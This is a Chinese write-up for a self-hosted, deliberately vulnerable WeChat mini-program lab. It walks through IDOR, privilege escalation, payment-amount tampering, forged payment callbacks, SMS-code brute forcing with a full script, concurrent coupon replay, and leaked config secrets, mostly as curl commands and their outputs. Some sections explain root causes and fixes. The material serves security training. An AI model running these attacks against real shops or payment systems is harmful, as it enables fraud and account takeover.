微信小程序漏洞靶场 · weapp-vuln-lab

6059 字
30 分钟
微信小程序漏洞靶场 · weapp-vuln-lab

介绍#

一个可以在本地完整跑起来的微信小程序渗透练习环境:

  • 后端:纯 Python 标准库,零第三方依赖,python3 server/app.py 直接启动
  • 前端:原生微信小程序,微信开发者工具导入即可预览
  • 覆盖:水平越权 / 垂直越权 / 未授权访问 / 支付篡改 / 验证码爆破 / 逻辑漏洞 / 信息泄露

目录结构#

weapp-vuln-lab/
├── server/
│ └── app.py # 后端,所有 [VULN-xx] 都在这里
├── miniprogram/
│ ├── app.js # baseUrl 在这里改
│ ├── app.json
│ ├── app.wxss
│ ├── sitemap.json
│ ├── utils/
│ │ ├── config.js # [VULN-13] 硬编码密钥
│ │ └── request.js # 统一请求封装
│ └── pages/
│ ├── index/ # 登录 + 商品 + 下单支付
│ ├── order/ # 订单列表 + 按订单号查询(IDOR 入口)
│ └── me/ # 个人信息 + 按 UID 查用户(越权入口)
├── tools/
│ └── verify.py # 自检脚本,一条命令验证所有漏洞是否通
├── project.config.json
└── README.md

启动#

起后端#

Terminal window
cd weapp-vuln-lab
python3 server/app.py

看到这个就成功了:

============================================================
微信小程序漏洞靶场 已启动
地址: http://127.0.0.1:9000
账号: alice/123456 bob/123456
按 Ctrl+C 停止
============================================================
  • 端口默认 9000,不是 8000 —— 8000 经常被别的靶场/开发服务器占着,冲突了会直接启动失败。
  • 想换端口:python3 server/app.py -p 9100,同时记得改 miniprogram/app.js 里的 baseUrl。
  • 数据全在内存里,重启就重置,随便打崩。

先跑一下自检,确认 13 个漏洞都通:

Terminal window
python3 tools/verify.py

返回

[+] alice token = a80721f4fcde4dae8e66f1107cd89725
--- VULN-03 IDOR: 用 alice 的 token 查 bob 的订单 2024100100002 ---
code=0 msg=ok
{
"orderId": "2024100100002",
"uid": "1002",
"receiver": "鲍勃",
"phone": "13800138002",
"address": "陕西省西安市碑林区 YY 大道 88 号"
}
--- VULN-02 越权+debug: 查 bob 的资料并带 debug=1 ---
code=0 msg=ok
{
"uid": "1002",
"nickname": "鲍勃",
"role": "user",
"balance": 66.0,
"phone": "13800138002",
"idcard": "440101199808087777",
"email": "bob@example.com"
}
--- VULN-10 垂直越权: 普通用户拉全量用户表 ---
code=0 msg=ok
{
"total": 3,
"list": [
{
"uid": "1",
"username": "admin",
"nickname": "超级管理员",
"phone": "13900139000",
"role": "admin",
"balance": 0.0
},
{
"uid": "1001",
"username": "alice",
"nickname": "爱丽丝",
"phone": "13800138001",
"role": "user",
"balance": 128.5
},
{
"uid": "1002",
"username": "bob",
"nickname": "鲍勃",
"phone": "13800138002",
"role": "user",
"balance": 66.0
}
]
}
[+] 新订单 1793236889003 原价 ¥399.0
--- VULN-04 改价: amount 传 0.01 ---
code=0 msg=支付成功
{
"payNo": "PAY1793236889274",
"amount": 0.01,
"originAmount": 399.0,
"orderId": "1793236889003"
}
--- VULN-06 伪造支付回调: 未登录直接把订单标记为已支付 ---
code=0 msg=回调已处理
{
"orderId": "1793236889004",
"status": "paid",
"paidAmount": 0.01
}
[+] 验证码接口响应: {"code": 0, "msg": "验证码已发送", "data": {"phone": "13800138001", "expireIn": 300, "debugCode": "6171"}}
--- VULN-08 校验错误码,看提示是否可区分 ---
code=400 msg=验证码错误
--- VULN-07 直接用响应里的 debugCode 通过校验 ---
code=0 msg=验证通过
{
"phone": "13800138001",
"verified": true,
"tries": 2
}
--- VULN-09 优惠券重放 5 次 ---
第 1 次: usedTimes=1 totalDiscount=10.0
第 2 次: usedTimes=2 totalDiscount=20.0
第 3 次: usedTimes=3 totalDiscount=30.0
第 4 次: usedTimes=4 totalDiscount=40.0
第 5 次: usedTimes=5 totalDiscount=50.0
--- flag 用普通用户 token ---
code=403 msg=权限不足,只有管理员能查看
[+] VULN-11 未授权拿到数据库口令: Root@2024!
--- 密码复用: 用上面泄露的口令登录 admin 再取 flag ---
code=0 msg=恭喜,你拿到了管理员权限
{
"flag": "flag{wx_miniprogram_lab_pwned}"
}

导入小程序#

  1. 打开微信开发者工具 → 新建项目 → 导入项目
  2. 目录选 weapp-vuln-lab(选到有 project.config.json 的那一层,不是 miniprogram/)
  3. AppID 选「测试号」
  4. 关键一步:右上角详情 → 本地设置 → 勾选 「不校验合法域名、web-view(业务域名)、TLS 版本以及 HTTPS 证书」

第 4 步对应的就是 project.config.json 里的 setting.urlCheck: false。不勾的话 http://127.0.0.1:9000 的请求会被开发者工具直接拦掉,你会看到一片 request:fail。

使用Burpsuite前要做的准备#

打开进去后默认监听 127.0.0.1:8080,不用改。

开发者工具右上角 设置(齿轮)→ 代理 选「手动设置代理」,地址 127.0.0.1,端口 8080,保存 按 Ctrl+B 重新编译,让 wx.request 走新代理

Burp 顶部 Proxy → Intercept,确认 Intercept is on

接着在模拟器点击就可以获得请求了。

微信小程序抓包时最容易撞上的一堵墙:靶场后端跑在 127.0.0.1:9000,Burp 在 8080 等着,开发者工具的代理也配好了,但 HTTP history 里一条请求都没有。问题不在 Burp,而在 Chromium 内核——它对 localhost 和 127.0.0.1 有硬编码的代理绕过规则,任何指向 loopback 的请求都直接走本机回环,根本不进入代理链路,配置写得再对也没用。解决思路是让目标地址「看起来不是本机」:后端改用 —host 0.0.0.0 监听所有网卡,小程序里的 baseUrl 换成局域网 IP(例如 192.168.1.7:9000),请求目标一旦离开 loopback 段,流量才会老老实实经过 Burp。这个坑不限于小程序,任何基于 Chromium 的环境抓本地服务都会遇到,记住「loopback 不过代理」这一条能省掉半小时排查。

落到代码上其实只动了两处。第一处是小程序端 app.js 里的 globalData.baseUrl,把原来的 127.0.0.1 换成电脑的局域网 IP,顺便在注释里写清改动的动机和回滚方式——这个修改纯粹是为了抓包服务,练习结束必须改回去,否则一旦不开 Burp,小程序的全部请求都会失败。第二处是后端的启动参数,从默认的 127.0.0.1 改成 —host 0.0.0.0,让服务监听所有网卡;这一步不做,用局域网 IP 访问会直接被拒绝连接。改动加起来不过两行,但要理解它解决的不是「配置没配对」,而是「请求从来没走上代理这条路」。

miniprogram/app.js
App({
globalData: {
// 抓包练习用局域网 IP:Chromium 内核对 localhost/127.0.0.1 硬编码绕过代理,
// 只有非 loopback 地址才会经过 Burp。后端需用 --host 0.0.0.0 启动。
// 练习结束后改回 'http://127.0.0.1:9000'。
baseUrl: 'http://192.168.1.7:9000',
token: '',
uid: '',
role: '',
nickname: ''
}
})

页面里有什么#

页面正常功能暗藏的问题
首页登录、看商品、下单、支付支付金额由客户端传,改包就改价
订单我的订单、按订单号查询按订单号查询不校验归属
我的看自己资料、按 UID 查用户uid 完全由客户端指定

漏洞清单#

编号和后端 server/app.py 里的 [VULN-xx] 一一对应。

先设一个变量,省得每条命令都写全:

Terminal window
B=http://127.0.0.1:9000
TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d '{"username":"alice","password":"123456"}' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')
echo $TK

VULN-01 登录接口无爆破防护#

无失败次数限制、无锁定、无验证码。配合 VULN-11 泄露的口令效果最好。

Terminal window
for p in 123456 admin888 Root@2024 wxlab2024; do
curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":\"$p\"}"
echo
done

先尝试

28 {"code": 401, "msg": "用户名或密码错误"}
29 {"code": 401, "msg": "用户名或密码错误"}
30 {"code": 401, "msg": "用户名或密码错误"}

连续 30 次错误密码,每次都是 401 用户名或密码错误,没有失败计数、没有锁定、没有 429、没有延迟。第 31 次你换正确口令,照样登录成功 —— 前面 30 次失败完全不留下任何后果。

可以直接爆破。

VULN-02 水平越权 + debug 参数泄露#

uid 由客户端指定,登录了就能查任何人。带上 debug=1 还额外返回身份证号、邮箱。

Terminal window
# 正常查自己
curl -s "$B/api/user/profile" -H "Authorization: Bearer $TK"
# 查 bob
curl -s "$B/api/user/profile?uid=1002" -H "Authorization: Bearer $TK"
# 再要一份未脱敏的
curl -s "$B/api/user/profile?uid=1002&debug=1" -H "Authorization: Bearer $TK"

对应小程序里「我的 → 按 UID 查询用户」那个输入框。

Terminal window
B=http://127.0.0.1:9000
TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d '{"username":"alice","password":"123456"}' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')
curl -s "$B/api/user/profile" -H "Authorization: Bearer $TK"
curl -s "$B/api/user/profile?uid=1002" -H "Authorization: Bearer $TK"
curl -s "$B/api/user/profile?uid=1002&debug=1" -H "Authorization: Bearer $TK"

返回

{"code": 0, "msg": "ok", "data": {"uid": "1001", "nickname": "爱丽丝", "role": "user", "balance": 128.5, "phone": "138****8001"}}{"code": 0, "msg": "ok", "data": {"uid": "1002", "nickname": "鲍勃", "role": "user", "balance": 66.0, "phone": "138****8002"}}{"code": 0, "msg": "ok", "data": {"uid": "1002", "nickname": "鲍勃", "role": "user", "balance": 66.0, "phone": "13800138002", "idcard": "440101199808087777", "email": "bob@example.com"}}%

代码根因(app.py:176):

uid = str(query.get("uid") or whoami(token) or "")

query.get(“uid”) 排在 token 之前 —— URL 里传了 uid 就用你的,token 里记录的身份被直接覆盖。

VULN-03 订单详情 IDOR#

只校验登录,不校验订单归属。预置的别人订单号:2024100100001 / 2024100100002 / 2024100100003。

Terminal window
curl -s "$B/api/order/detail?orderId=2024100100002" -H "Authorization: Bearer $TK"

能拿到收货人、手机号、详细地址、内部备注 —— 这就是一次完整的用户信息泄露。

对应小程序里「订单 → 按订单号查询」。

Terminal window
curl -s "$B/api/order/detail?orderId=2024100100002" -H "Authorization: Bearer $TK" | python3 -m json.tool

返回

{
"code": 0,
"msg": "ok",
"data": {
"orderId": "2024100100002",
"uid": "1002",
"goods": "\u964d\u566a\u84dd\u7259\u8033\u673a",
"amount": 499.0,
"status": "paid",
"receiver": "\u9c8d\u52c3",
"phone": "13800138002",
"address": "\u9655\u897f\u7701\u897f\u5b89\u5e02\u7891\u6797\u533a YY \u5927\u9053 88 \u53f7",
"remark": "\u4e0d\u8981\u653e\u53d1\u7968",
"createdAt": "2024-10-02 14:05:10",
"paidAmount": 0.01
}
}

判定:uid: “1002” 是 bob 的单,但你(1001)能看全 —— 收货人、手机号、详细住址、内部备注。

注意这里的 paidAmount: 0.01 —— 那是做 VULN-05 时留下的痕迹。越权不仅能读,还能写,两条洞在这张单上串起来了。

VULN-04 支付金额篡改#

后端不比对订单原价,客户端传多少就是多少。

B/B / TK / $ORDER记得填

Terminal window
# 先下单,拿到 orderId
ORDER=$(curl -s -X POST $B/api/order/create -H "Authorization: Bearer $TK" \
-H 'Content-Type: application/json' -d '{"goodsId":"G1001"}' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["orderId"])')
echo $ORDER
# 399 元的键盘,0.01 元拿下
curl -s -X POST $B/api/pay/create -H "Authorization: Bearer $TK" \
-H 'Content-Type: application/json' \
-d "{\"orderId\":\"$ORDER\",\"amount\":0.01}"

例如

Terminal window
B=http://127.0.0.1:9000
TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d '{"username":"alice","password":"123456"}' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')
echo "TK=$TK"
ORDER=$(curl -s -X POST $B/api/order/create -H "Authorization: Bearer $TK" \
-H 'Content-Type: application/json' -d '{"goodsId":"G1001"}' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["orderId"])')
echo "ORDER=$ORDER"
curl -s -X POST $B/api/pay/create -H "Authorization: Bearer $TK" \
-H 'Content-Type: application/json' \
-d "{\"orderId\":\"$ORDER\",\"amount\":0.01}"

返回里 originAmount: 399.0 和 amount: 0.01 摆在一起,效果很直观。

TK=e235086900944ff1bbad5b7e6659c056
ORDER=1793238791014
{"code": 0, "msg": "支付成功", "data": {"payNo": "PAY1793238791859", "amount": 0.01, "originAmount": 399.0, "orderId": "1793238791014"}}

Burp 里的做法:小程序点「去支付」时拦截请求,把 body 里 "amount":399 改成 "amount":0.01,放行。

抓到/api/pay/create

POST /api/pay/create HTTP/1.1
Host: 10.36.118.207:9000
Content-Length: 41
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN
Authorization: Bearer 5e97ada54411402a8d9c435582e76b39
Referer: https://servicewechat.com/wx822c044bc2fdc2ea/devtools/page-frame.html
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1 wechatdevtools/2.02.2609240 MicroMessenger/8.0.5 Language/zh_CN webview/
content-type: application/json
Connection: keep-alive
{"orderId":"1793243335016","amount":499}

499改0.01然后send

HTTP/1.1 200 OK
Server: WxLab/1.0 Python/3.13.12
Date: Thu, 29 Oct 2026 03:11:17 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 140
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type, Authorization, X-Sign
Access-Control-Allow-Methods: GET, POST, OPTIONS
{"code": 0, "msg": "支付成功", "data": {"payNo": "PAY1793243477510", "amount": 0.01, "originAmount": 499.0, "orderId": "1793243335016"}}

在微信开发者工具中,先点击购买与支付创造请求。

接着点到network,点击支付的请求,点击Copy as cURL。

复制到终端

Terminal window
curl 'http://127.0.0.1:9000/api/pay/create' \
-H 'Accept: */*' \
-H 'Accept-Language: zh-CN' \
-H 'Authorization: Bearer 8db1cb318b1e449e8ceb94eca50aff77' \
-H 'Connection: keep-alive' \
-H 'Referer: https://servicewechat.com/wx822c044bc2fdc2ea/devtools/page-frame.html' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Site: same-site' \
-H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1 wechatdevtools/2.02.2609240 MicroMessenger/8.0.5 Language/zh_CN webview/ hash/1103715325 sid/s0 winId/s0 token/1b3471567f46d4d5e818acc3aba4b857' \
-H 'content-type: application/json' \
-H 'sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "macOS"' \
--data-binary '{"orderId":"1793238523013","amount":499}' \
--compressed

将499改为0.01,看到返回

{"code": 0, "msg": "支付成功", "data": {"payNo": "PAY1793238576865", "amount": 0.01, "originAmount": 499.0, "orderId": "1793238523013"}}

VULN-05 支付接口不校验订单归属#

/api/pay/create 也不检查这单是不是你的。用 alice 的 token 给 bob 的订单付款/改状态:

Terminal window
curl -s -X POST $B/api/pay/create -H "Authorization: Bearer $TK" \
-H 'Content-Type: application/json' \
-d '{"orderId":"2024100100002","amount":0.01}'

先拿到alice的token

Terminal window
B=http://127.0.0.1:9000
TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d '{"username":"alice","password":"123456"}' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')
echo "TK=$TK"

返回

TK=ae3e57e7df3b483882df43993f05e636

第一步先看这单是谁的

Terminal window
curl -s "$B/api/order/detail?orderId=2024100100002" -H "Authorization: Bearer $TK"

发现订单是Bob的,但现在登陆的是alice

{"code": 0, "msg": "ok", "data": {"orderId": "2024100100002", "uid": "1002", "goods": "降噪蓝牙耳机", "amount": 499.0, "status": "paid", "receiver": "鲍勃", "phone": "13800138002", "address": "陕西省西安市碑林区 YY 大道 88 号", "remark": "不要放发票", "createdAt": "2024-10-02 14:05:10"}}

第二步用 alice 的身份给 bob 的单付款

Terminal window
curl -s -X POST $B/api/pay/create -H "Authorization: Bearer $TK" \
-H 'Content-Type: application/json' \
-d '{"orderId":"2024100100002","amount":0.01}'

返回

{"code": 0, "msg": "支付成功", "data": {"payNo": "PAY1793244546496", "amount": 0.01, "originAmount": 499.0, "orderId": "2024100100002"}}%

验证

Terminal window
curl -s "$B/api/order/detail?orderId=2024100100002" -H "Authorization: Bearer $TK"

返回

{"code": 0, "msg": "ok", "data": {"orderId": "2024100100002", "uid": "1002", "goods": "降噪蓝牙耳机", "amount": 499.0, "status": "paid", "receiver": "鲍勃", "phone": "13800138002", "address": "陕西省西安市碑林区 YY 大道 88 号", "remark": "不要放发票", "createdAt": "2024-10-02 14:05:10", "paidAmount": 0.01}}%

可以看到”uid”: “1002” ← 订单属于 bob,“paidAmount”: 0.01 ← 但钱是 alice 付的,金额还是 alice 定的。

为什么能成:代码里少了一行 server/app.py 的 h_pay_create(243-254 行)只做了两件事:

uid = whoami(token) # 你是谁 —— 做了
if not uid: return fail(401)
order = ORDERS.get(order_id) # 订单存在吗 —— 做了
if not order: return fail(404)
# ← 这里缺一句:order["uid"] != uid 就 403

它验证了「你登录了」,验证了「订单存在」,唯独没验证「这单是不是你的」。修复只需要中间插一句:

if str(order.get("uid")) != str(uid):
return fail(403, "无权操作该订单")

在BP里怎么做

  • 模拟器用 alice 正常买一件,Intercept 拦住 pay/create
  • 把 orderId 改成 2024100100002(bob 的单),amount 改成 0.01
  • Forward,回模拟器看提示 —— 界面会显示「支付成功」,但它付的是别人的订单

VULN-06 伪造支付回调#

/api/pay/notify 不校验签名,甚至不需要登录。任何人可以直接把订单改成「已支付」。

Terminal window
curl -s -X POST $B/api/pay/notify -H 'Content-Type: application/json' \
-d '{"orderId":"2024100100003","status":"paid","amount":0.01}'

注意这条命令里没有 Authorization 头——这就是重点。真实世界里这个接口是给支付平台服务器回调用的,正常请求来自微信支付的服务器,不是浏览器,所以作者没给它加登录校验;但也没加签名校验,于是任何人都能冒充微信支付。

真实环境里这种接口通常有签名,练的就是「去掉签名还能不能过」这个判断。

验证

Terminal window
B=http://127.0.0.1:9000
TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d '{"username":"alice","password":"123456"}' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')
curl -s "$B/api/order/detail?orderId=2024100100003" -H "Authorization: Bearer $TK"

返回

{"code": 0, "msg": "ok", "data": {"orderId": "2024100100003", "uid": "1", "goods": "会员月卡(限购 1 次)", "amount": 1.0, "status": "paid", "receiver": "超级管理员", "phone": "13900139000", "address": "内部测试地址", "remark": "内部账号,勿动", "createdAt": "2024-10-03 08:00:00"}}

看到 “paidAmount”: 0.01 就是打穿了。拿这个单号去验证它原本 1 元的会员月卡,现在标记为 0.01 元已支付。

后端对 status 和 amount 都是直接赋值、不做任何校验,尝试:

Terminal window
# 1. 状态机污染:把订单改成任意字符串
curl -s -X POST $B/api/pay/notify -H 'Content-Type: application/json' \
-d '{"orderId":"2024100100003","status":"hacked"}'
# 2. 负数金额:付 -100 元
curl -s -X POST $B/api/pay/notify -H 'Content-Type: application/json' \
-d '{"orderId":"2024100100003","status":"paid","amount":-100}'

返回

{"code": 0, "msg": "回调已处理", "data": {"orderId": "2024100100003", "status": "hacked", "paidAmount": null}}
{"code": 0, "msg": "回调已处理", "data": {"orderId": "2024100100003", "status": "paid", "paidAmount": -100.0}}%

这说明漏洞不止「无签名」一层,还有「状态值没有白名单」和「金额没有下限」——这两点在真实业务里分别对应「订单状态机被污染」和「负数退款套利」,都是能直接造成资金损失的问题。

真实系统的正确姿势

微信支付 V3 的回调有三道锁,缺一不可:

  • 验签:请求头带 Wechatpay-Signature、Wechatpay-Timestamp、Wechatpay-Nonce,用平台证书公钥验,签不过直接丢弃
  • 时间戳校验:Wechatpay-Timestamp 与当前时间差超过 5 分钟视为重放
  • 金额比对:回调里的 amount.total 必须等于本地订单金额,不等就报警而不是直接改状态

VULN-07 验证码在响应里回显#

debugCode 字段直接把验证码返回了 ——「开发者调试字段忘了删」的经典案例。

Terminal window
curl -s -X POST $B/api/sms/send -H 'Content-Type: application/json' \
-d '{"phone":"13800138001"}'

即

Terminal window
curl -s -X POST http://127.0.0.1:9000/api/sms/send \
-H 'Content-Type: application/json' \
-d '{"phone":"13800138001"}'

得到

{"code": 0, "msg": "验证码已发送", "data": {"phone": "13800138001", "expireIn": 300, "debugCode": "4830"}}%

响应里的 debugCode 就是真实验证码,直接拿去打 /api/sms/verify 一次过,压根不用爆破。然后可以用这个来打VULN-01 — 管理员复用了数据库口令。

Terminal window
B=http://127.0.0.1:9000
PWD_LEAK=$(curl -s $B/api/config \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["db"]["password"])')
# 用泄露的口令试 admin
curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d "{\"username\":\"admin\",\"password\":\"$PWD_LEAK\"}"
{"code": 0, "msg": "登录成功", "data": {"token": "fa0c086e6b2742a09c7a03bed0905dfd", "uid": "1", "role": "admin", "nickname": "超级管理员"}}%

拿到 admin 的 token 后:

Terminal window
curl -s "$B/api/flag" -H "Authorization: Bearer fa0c086e6b2742a09c7a03bed0905dfd"

返回

{"code": 0, "msg": "恭喜,你拿到了管理员权限", "data": {"flag": "flag{wx_miniprogram_lab_pwned}"}}%

可以得到flag

VULN-08 验证码可爆破#

07 修了也不影响 08。就算开发者把 debugCode 删掉,只要没有失败锁定,4 位码最多 10000 次必中。

无尝试次数上限(代码里 tries 只加不封),且提示可区分(「已过期」vs「错误」),4 位码最多 10000 次必中。

Terminal window
python3 - <<'PY'
import json, urllib.request
B = "http://127.0.0.1:9000"
def post(path, data):
req = urllib.request.Request(B + path, data=json.dumps(data).encode(),
headers={"Content-Type": "application/json"}, method="POST")
try:
with urllib.request.urlopen(req) as r:
return json.loads(r.read().decode())
except urllib.error.HTTPError as e:
return json.loads(e.read().decode())
phone = "13800138001"
post("/api/sms/send", {"phone": phone})
for i in range(10000):
code = "%04d" % i
res = post("/api/sms/verify", {"phone": phone, "code": code})
if res["code"] == 0:
print("命中:", code, "尝试次数:", i + 1)
break
PY

本地几秒就出结果。这就是为什么真实系统必须做「失败 5 次锁定」+「验证码用后即焚」。

跑python3 tools/brute_sms.py

import json, urllib.request, time
B = "http://127.0.0.1:9000"
PHONE = "13800138001"
def post(path, data):
req = urllib.request.Request(
B + path, data=json.dumps(data).encode(),
headers={"Content-Type": "application/json"}, method="POST")
try:
with urllib.request.urlopen(req, timeout=5) as r:
return json.loads(r.read().decode())
except urllib.error.HTTPError as e:
return json.loads(e.read().decode())
post("/api/sms/send", {"phone": PHONE})
t0 = time.time()
for i in range(10000):
code = "%04d" % i
res = post("/api/sms/verify", {"phone": PHONE, "code": code})
if res["code"] == 0:
print("命中 %s,尝试 %d 次,耗时 %.1fs" % (code, i + 1, time.time() - t0))
break
if i % 1000 == 999:
print("已试 %d 次,当前 msg: %s" % (i + 1, res["msg"]))
Terminal window
# 默认打 127.0.0.1:9000 / 13800138001
python3 tools/brute_sms.py
# 换目标
python3 tools/brute_sms.py --phone 13900001111
python3 tools/brute_sms.py --base http://10.36.118.207:9000
========================================================
VULN-08 验证码爆破
目标: http://127.0.0.1:9000 手机号: 13800138001
========================================================
[!] 响应里直接回显了验证码 debugCode=8670(VULN-07 成立)
[!] 本脚本仍然走爆破路径,证明修掉 07 也挡不住 08
[*] 开始爆破 4 位验证码(最多 10000 次)...
[*] 已试 1000 次 8831 req/s 最近返回: 验证码错误
[*] 已试 2000 次 9183 req/s 最近返回: 验证码错误
[*] 已试 3000 次 9306 req/s 最近返回: 验证码错误
[*] 已试 4000 次 9357 req/s 最近返回: 验证码错误
[*] 已试 5000 次 9388 req/s 最近返回: 验证码错误
[*] 已试 6000 次 9427 req/s 最近返回: 验证码错误
[*] 已试 7000 次 9450 req/s 最近返回: 验证码错误
[*] 已试 8000 次 9468 req/s 最近返回: 验证码错误
[+] 命中验证码: 8670
[+] 尝试次数 : 8671
[+] 耗时 : 0.91 秒(9479 req/s)
[+] 结论: 4 位码在无失败锁定下等价于 0 位 —— 10000 次必中
  • 用 http.client 复用一条 TCP 连接,而不是 urllib 每次都握手——这是 10000 req/s 和 300 req/s 的差别
  • 检测到返回里有「过期」字样会自动重新发码,避免跑太久中途 TTL 到期导致前功尽弃

VULN-09 优惠券可重放#

既不校验 owner(能用别人的券),也不校验是否已用完。重放同一个请求就能无限抵扣。

Terminal window
for i in $(seq 1 10); do
curl -s -X POST $B/api/coupon/use -H "Authorization: Bearer $TK" \
-H 'Content-Type: application/json' -d '{"couponId":"CP100"}'
echo
done

即

Terminal window
B=http://127.0.0.1:9000
TK=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
-d '{"username":"alice","password":"123456"}' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["token"])')
for i in $(seq 1 10); do
curl -s -X POST $B/api/coupon/use -H "Authorization: Bearer $TK" \
-H 'Content-Type: application/json' -d '{"couponId":"CP100"}'
echo
done

看 usedTimes 和 totalDiscount 一路涨到 100 元。一张「10 元无门槛券」被用成了 100 元。

{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 1, "totalDiscount": 10.0}}
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 2, "totalDiscount": 20.0}}
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 3, "totalDiscount": 30.0}}
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 4, "totalDiscount": 40.0}}
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 5, "totalDiscount": 50.0}}
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 6, "totalDiscount": 60.0}}
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 7, "totalDiscount": 70.0}}
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 8, "totalDiscount": 80.0}}
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 9, "totalDiscount": 90.0}}
{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 10, "totalDiscount": 100.0}}

再试别人的券

Terminal window
curl -s -X POST $B/api/coupon/use -H "Authorization: Bearer $TK" \
-H 'Content-Type: application/json' -d '{"couponId":"CP200"}'

返回

{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP200", "owner": "1002", "discount": 50.0, "usedTimes": 1, "totalDiscount": 50.0}}%

CP200 是 bob 的券,alice 同样能用 —— 那是「水平越权 + 逻辑漏洞」叠加。不校验 owner(我的券你能用)+ 不校验 usedTimes(一次性的能无限用)。

尝试并发重放

顺序请求只能说明「不校验」,并发请求暴露的是「没有原子性」:

Terminal window
seq 30 | xargs -P 30 -I{} curl -s -X POST $B/api/coupon/use \
-H "Authorization: Bearer $TK" -H 'Content-Type: application/json' \
-d '{"couponId":"CP100"}' -o /dev/null
curl -s -X POST $B/api/coupon/use -H "Authorization: Bearer $TK" \
-H 'Content-Type: application/json' -d '{"couponId":"CP100"}'

这个模式在 TOCTOU 竞态那道题(moectf)里见过:读-判断-写 三步之间没有锁,30 个请求同时通过「还没用过」的判断。真实场景里对应「1 元秒杀 500 件、结果卖出 800 件」。

{"code": 0, "msg": "抵扣成功", "data": {"couponId": "CP100", "owner": "1001", "discount": 10.0, "usedTimes": 41, "totalDiscount": 410.0}}%

VULN-10 垂直越权#

/api/admin/users 只校验 token 有效,忘了校验 role == "admin"。普通用户能拉全量用户表。

Terminal window
curl -s "$B/api/admin/users" -H "Authorization: Bearer $TK"
Terminal window
curl -s "$B/api/admin/users" -H "Authorization: Bearer $TK" | python3 -m json.tool
{
"code": 0,
"msg": "ok",
"data": {
"total": 3,
"list": [
{
"uid": "1",
"username": "admin",
"nickname": "\u8d85\u7ea7\u7ba1\u7406\u5458",
"phone": "13900139000",
"role": "admin",
"balance": 0.0
},
{
"uid": "1001",
"username": "alice",
"nickname": "\u7231\u4e3d\u4e1d",
"phone": "13800138001",
"role": "user",
"balance": 128.5
},
{
"uid": "1002",
"username": "bob",
"nickname": "\u9c8d\u52c3",
"phone": "13800138002",
"role": "user",
"balance": 66.0
}
]
}
}

判定:role: “user” 的 alice 拿到了 role: “admin” 的账号信息。而且你现在知道了管理员的 username 是 admin、手机号 13900139000 —— 这正好是 VULN-01 爆破的靶子,两个洞配合起来攻击路径就完整了。

代码根因(app.py:348 附近):只做了 whoami(token),没做 if USERS[uid][“role”] != “admin”: return 403。

VULN-11 配置接口未授权#

不需要任何凭证,直接吐出 AppSecret、OSS AK/SK、数据库账号密码。

Terminal window
curl -s "$B/api/config" | python3 -m json.tool

这是整条攻击链的转折点 —— 拿到的口令,去 /api/login 上试 admin,看看有没有密码复用。

输入

Terminal window
curl -s http://127.0.0.1:9000/api/config | python3 -m json.tool

返回

{
"code": 0,
"msg": "ok",
"data": {
"appId": "wxdemo0000000000",
"appSecret": "b7f3c1e9a24d4f8e9c0a1b2d3e4f5a6b",
"ossAk": "LTAI5tDemoFakeKey123",
"ossSk": "Qm9ndXNBMTIzNDU2Nzg5MGFiY2RlZg==",
"smsAccessKey": "sms_live_9f8e7d6c5b4a3210",
"db": {
"host": "10.0.0.12",
"port": 3306,
"user": "root",
"password": "Root@2024!",
"database": "wxlab"
}
}
}

五个字段,四类杀伤力:

  • appSecret: b7f3c1e9… → 配合 appId 换 access_token,冒充你的小程序服务端调微信接口(发订阅消息、解密用户手机号)
  • ossAk / ossSk → 阿里云密钥,直接接管对象存储,上传/下载/删除整个 bucket
